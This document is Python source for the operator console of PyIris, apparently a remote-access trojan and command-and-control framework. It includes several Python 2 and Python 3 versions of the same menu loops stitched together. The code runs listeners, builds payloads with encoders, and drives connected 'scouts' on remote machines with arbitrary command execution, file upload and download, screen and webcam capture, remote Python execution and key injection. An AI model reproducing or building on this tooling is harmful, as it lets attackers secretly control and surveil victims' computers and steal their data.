def main(): readline.parse_and_bind("tab: complete") readline.set_completer(home_completer) while True: try: prompt = input('\x1b[1m\x1b[37mPyIris (Home) > \x1b[0m').strip() command = prompt.split(' ', 1)[0].lower() if command == 'add': add.main(prompt) elif command == 'clear': clear.main() elif command == 'generator': print(config.inf + 'Switching...') generator_interface.main() readline.parse_and_bind("tab: complete") readline.set_completer(home_completer) elif command in ('?', 'help'): help.main('home', prompt) elif command == 'listeners': print(config.inf + 'Switching...') listener_interface.main() readline.parse_and_bind("tab: complete") readline.set_completer(home_completer) elif command in ('!', 'local'): local.main(prompt) elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'regen': regen.main() elif command == 'reset': reset.main(prompt) elif command == 'rm': rm.main(prompt) elif command == 'scouts': print(config.inf + 'Switching...') scout_interface.main() readline.parse_and_bind("tab: complete") readline.set_completer(home_completer) elif command == 'show': show.main(prompt) elif not command: pass else: print(config.neg + 'Invalid command, run "help" for help menu') except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(): readline.parse_and_bind("tab: complete") readline.set_completer(scout_completer) while True: try: prompt = input( '\x1b[1m\x1b[37mPyIris (\x1b[0m' + '\x1b[1m\x1b[31mScouts\x1b[0m' + '\x1b[1m\x1b[37m) > \x1b[0m').strip() command = prompt.split(' ', 1)[0].lower() if command == 'back': print(config.inf + 'Returning...') return elif command == 'bridge': stat = direct_interface.main(prompt) if stat == 'home': return readline.parse_and_bind("tab: complete") readline.set_completer(scout_completer) elif command == 'clear': clear.main() elif command == 'disconnect': disconnect.main(prompt) elif command in ('?', 'help'): help.main('scout', prompt) elif command == 'kill': kill.main(prompt) elif command in ('!', 'local'): local.main(prompt) elif command == 'rename': rename.main(prompt) elif command == 'sleep': sleep.main(prompt) elif command == 'ping': ping.main(prompt) elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'show': show.main(prompt) elif command == 'more': more.main(prompt) elif not command: pass else: print(config.neg + 'Invalid command, run "help" for help menu') except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(): while True: try: generator_append.main() prompt = raw_input(config.generator_prompt).strip() command = prompt.split(' ', 1)[0].lower() if command == 'back': print config.inf + 'Returning...' return elif command == 'clear': clear.main() elif command == 'generate': generate.main() elif command in ('?', 'help'): help.main('generator', prompt) elif command == 'load_com': load_com.main(prompt) elif command == 'load_enc': load_enc.main(prompt) elif command in ('!', 'local'): local.main(prompt) elif command == 'more_com': more_com.main(prompt) elif command == 'more_enc': more_enc.main(prompt) elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'reset': reset.main(prompt) elif command == 'set': set.main(prompt) elif command == 'show': show.main(prompt) elif command == 'unload_com': unload_com.main(prompt) elif command == 'unload_enc': unload_enc.main(prompt) elif not command: pass else: print config.neg + 'Invalid command, run "help" for help menu' except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(): readline.parse_and_bind("tab: complete") readline.set_completer(listener_completer) while True: try: prompt = input('\x1b[1m\x1b[37mPyIris (\x1b[0m' + '\x1b[1m\x1b[34mListeners\x1b[0m' + '\x1b[1m\x1b[37m) > \x1b[0m').strip() command = prompt.split(' ', 1)[0].lower() if command == 'back': print(config.inf + 'Returning...') return elif command == 'bind': print(config.inf + 'Binding...') socket_connector.main(prompt) elif command == 'clear': clear.main() elif command in ('?', 'help'): help.main('listener', prompt) elif command == 'kill': kill.main(prompt) elif command in ('!', 'local'): local.main(prompt) elif command == 'more': more.main(prompt) elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'rename': rename.main(prompt) elif command == 'reset': reset.main(prompt) elif command == 'run': run.main() elif command == 'show': show.main(prompt) elif command == 'set': set.main(prompt) elif not command: pass else: print(config.neg + 'Invalid command, run "help" for help menu') except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(): while True: try: prompt = raw_input('PyIris (Scouts) > ').strip() command = prompt.split(' ',1)[0].lower() if command == 'back': print '[*]Returning...' return elif command == 'bridge': stat = direct_interface.main(prompt) if stat == 'home': return elif command == 'clear': clear.main() elif command == 'disconnect': disconnect.main(prompt) elif command in ('?','help'): help.main('scout',prompt) elif command == 'kill': kill.main(prompt) elif command in ('!','local'): local.main(prompt) elif command == 'rename': rename.main(prompt) elif command == 'sleep': sleep.main(prompt) elif command == 'ping': ping.main(prompt) elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'show': show.main(prompt) elif command == 'more': more.main(prompt) elif not command: pass else: print '[-]Invalid command, run "help" for help menu' except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(): while True: try: prompt = raw_input('PyIris (Home) > ').strip() command = prompt.split(' ', 1)[0] if command == 'add': add.main(prompt) elif command == 'clear': clear.main() elif command == 'generator': print '[*]Switching...' generator_interface.main() elif command in ('?', 'help'): help.main('home', prompt) elif command == 'listeners': print '[*]Switching...' listener_interface.main() elif command in ('!', 'local'): local.main(prompt) elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'regen': regen.main() elif command == 'reset': reset.main(prompt) elif command == 'rm': rm.main(prompt) elif command == 'scouts': print '[*]Switching...' scout_interface.main() elif command == 'show': show.main(prompt) elif not command: pass else: print '[-]Invalid command, run "help" for help menu' except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(): while True: try: generator_append.main() prompt = raw_input('PyIris (Generator) > ').strip() command = prompt.split(' ', 1)[0] if command == 'back': print '[*]Returning...' return elif command == 'clear': clear.main() elif command == 'generate': generate.main() elif command in ('?', 'help'): help.main('generator', prompt) elif command == 'load': load.main(prompt) elif command in ('!', 'local'): local.main(prompt) elif command == 'more': more.main(prompt) elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'reset': reset.main(prompt) elif command == 'set': set.main(prompt) elif command == 'show': show.main(prompt) elif command == 'unload': unload.main(prompt) elif not command: pass else: print '[-]Invalid command, run "help" for help menu' except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(): while True: try: prompt = raw_input('PyIris (Listeners) > ').strip() command = prompt.split(' ', 1)[0].lower() if command == 'back': print '[*]Returning...' return elif command == 'clear': clear.main() elif command in ('?', 'help'): help.main('listener', prompt) elif command == 'kill': kill.main(prompt) elif command in ('!', 'local'): local.main(prompt) elif command == 'more': more.main(prompt) elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'rename': rename.main(prompt) elif command == 'reset': reset.main(prompt) elif command == 'run': run.main() elif command == 'show': show.main(prompt) elif command == 'set': set.main(prompt) elif not command: pass else: print '[-]Invalid command, run "help" for help menu' except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(scout_id): try: scout_id = scout_id.split(' ', 1)[1] scout_prompt = config.scout_database[scout_id][ 1] + ':' + config.scout_database[scout_id][2] print '[+]Bridged to : ' + scout_id except (IndexError, KeyError): print '[-]Please enter a valid scout ID' return while True: try: prompt = raw_input('PyIris (Scout@' + scout_prompt + ') > ').strip() command = prompt.split(' ', 1)[0] if command == 'back': print '[*]Returning to scout interface...' return elif command == 'clear': clear.main() elif command in ('?', 'help'): help.main('direct', prompt) elif command in ('!', 'local'): local.main(prompt) elif command == 'main': print '[*]Returning to scout interface...' return 'home' elif command == 'python': python.main() elif command == 'quit': quit.main() elif not command: pass else: print '[-]Invalid command, run "help" for help menu' except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main()
def main(scout_id): try: scout_id = scout_id.split(' ', 1)[1] scout_prompt = config.scout_database[scout_id][ 1] + ':' + config.scout_database[scout_id][2] print '[+]Bridged to : ' + scout_id except (IndexError, KeyError): print '[-]Please enter a valid scout ID' return while True: try: prompt = raw_input('PyIris (Scout@' + scout_prompt + ') > ').strip() command = prompt.split(' ', 1)[0] if command == 'back': print '[*]Returning to scout interface...' return elif command == 'clear': clear.main() elif command == 'disconnect': print send_and_recv.main(prompt, scout_id) del (config.scout_database[scout_id]) print '[*]Returning...' return elif command in ('?', 'help'): help.main('direct', prompt) elif command == 'kill': print send_and_recv.main(prompt, scout_id) del (config.scout_database[scout_id]) print '[*]Returning...' return elif command in ('!', 'local'): local.main(prompt) elif command == 'main': print '[*]Returning to scout interface...' return 'home' elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'sleep': data = send_and_recv.main(prompt, scout_id) print data if data.startswith('[*]'): del (config.scout_database[scout_id]) print '[*]Returning...' return elif command == 'download': config.scout_database[scout_id][0].sendall(prompt) download.main(config.scout_database[scout_id][0]) elif command == 'upload': upload.main(config.scout_database[scout_id][0], prompt) elif command == 'screen': config.scout_database[scout_id][0].sendall(command) screen.main(config.scout_database[scout_id][0]) elif command == 'webcam_snap': config.scout_database[scout_id][0].sendall(command) webcam_snap.main(config.scout_database[scout_id][0]) elif command == 'ping': ping.main(prompt) elif not command: pass else: config.scout_database[scout_id][0].sendall(prompt) data = recv_all.main(config.scout_database[scout_id][0]) print data # print '[-]Invalid command, run "help" for help menu' except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main() except (socket.error, socket.timeout): print '[-]Scout has unexpectedly died, removing from database...' del (config.scout_database[scout_id]) return
# Version 1.0.1 import library.modules.bootstrap as bootstrap import time if __name__ == '__main__': try: start = bootstrap.main() if start: import library.interfaces.home_interface as home_interface import library.commands.global_interface.clear as clear clear.main() home_interface.main() except EOFError: try: time.sleep(2) except KeyboardInterrupt: print('[!]User aborted bootstrap, requesting shutdown...') quit() except KeyboardInterrupt: print('[!]User aborted bootstrap, requesting shutdown...') quit() except Exception as e: print('[!]Unexpected Error : ' + str(e))
def main(scout_id): readline.parse_and_bind('tab: self-insert') try: scout_id = scout_id.split(' ', 1)[1] scout_prompt = config.scout_database[scout_id][ 1] + ':' + config.scout_database[scout_id][2] print(config.pos + 'Bridged to : ' + scout_id) except (IndexError, KeyError): print(config.neg + 'Please enter a valid scout ID') return while True: try: prompt = input('\x1b[1m\x1b[37mPyIris (\x1b[0m\x1b[1m\x1b[31m' + 'Scout\x1b[0m' + '\x1b[1m\x1b[37m@\x1b[0m\x1b[1m\x1b[31m' + scout_prompt + '\x1b[0m\x1b[1m\x1b[37m) > \x1b[0m').strip() command = prompt.split(' ', 1)[0].lower() if command == 'back': print(config.inf + 'Returning to scout interface...') return elif command == 'clear': clear.main() elif command == 'disconnect': print(send_and_recv.main(prompt, scout_id)) del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command == 'kill': print(send_and_recv.main(prompt, scout_id)) del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command in ('!', 'local'): local.main(prompt) elif command == 'main': print(config.inf + 'Returning to scout interface...') return 'home' elif command == 'python': python.main() elif command == 'quit': quit.main() elif command == 'sleep': data = send_and_recv.main(prompt, scout_id) print(data) if data.startswith('[*]'): del (config.scout_database[scout_id]) print(config.inf + 'Returning...') return elif command == 'download': send_all.main(config.scout_database[scout_id][0], prompt) download.main(config.scout_database[scout_id][0]) elif command == 'upload': upload.main(config.scout_database[scout_id][0], prompt) elif command == 'screen': send_all.main(config.scout_database[scout_id][0], command) screen.main(config.scout_database[scout_id][0]) elif command == 'webcam': send_all.main(config.scout_database[scout_id][0], command) webcam.main(config.scout_database[scout_id][0]) elif command == 'ping': alive_bool = ping.main(scout_id) if not alive_bool: print(config.inf + 'Returning...') return elif command == 'exec_py_script': data = 'exec_py ' + python_execute_editor.main() print(config.inf + 'Attempting to run on scout...') print(send_and_recv.main(data, scout_id)) elif command == 'exec_py_file': python_execute_file.main(prompt, scout_id) elif command == 'inj_valid': print('\n' + config.inf + 'All valid keys that can be injected : \n') formatted = grid_format.main(valid_keys, 5) for i in formatted: print(' ' + ''.join(i)) print('\n') elif not command: pass else: send_all.main(config.scout_database[scout_id][0], prompt) data = recv_all.main(config.scout_database[scout_id][0]) print(data) except EOFError: try: time.sleep(2) except KeyboardInterrupt: quit.main() except KeyboardInterrupt: quit.main() except (socket.error, socket.timeout): print(config.neg + 'Scout has unexpectedly died, removing from database...') del (config.scout_database[scout_id]) return except IndexError: print( config.neg + 'Please supply valid arguments for the command you are running' )